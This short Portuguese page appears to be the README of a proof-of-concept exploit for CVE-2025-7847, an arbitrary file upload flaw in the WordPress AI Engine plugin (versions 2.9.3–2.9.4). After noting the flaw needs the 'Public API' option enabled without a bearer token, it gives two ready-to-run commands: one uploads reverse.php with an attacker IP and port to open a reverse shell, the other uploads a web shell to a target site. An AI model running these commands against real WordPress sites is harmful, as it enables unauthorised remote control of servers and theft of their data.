CVE-2025-7847 Plugin WordPress – POC de Upload Arbitrário de Arquivo por Assinante Autenticado

Plugin WordPress AI Engine 2.9.3 - 2.9.4 – Prova de Conceito

Observe que esta vulnerabilidade só pode ser explorada se a opção “Public API” estiver habilitada, que vem desabilitada por padrão, e nenhum Bearer Token for configurado, nem autenticação personalizada for adicionada e usada para proteger a API.

Versão Automatizada

python3 exploit-auto.py --url "http://target.com" --username "Admin" --password "L87*********C4u" --file reverse.php --attacker-ip 127.0.0.1 --attacker-port 4444

Somente Upload de Web Shell

python3 exploit.py \                                                                                                                          
  --url "http://target.com/" \
  --username "Admin" \
  --password "L87*********C4u" \
  --file shell.php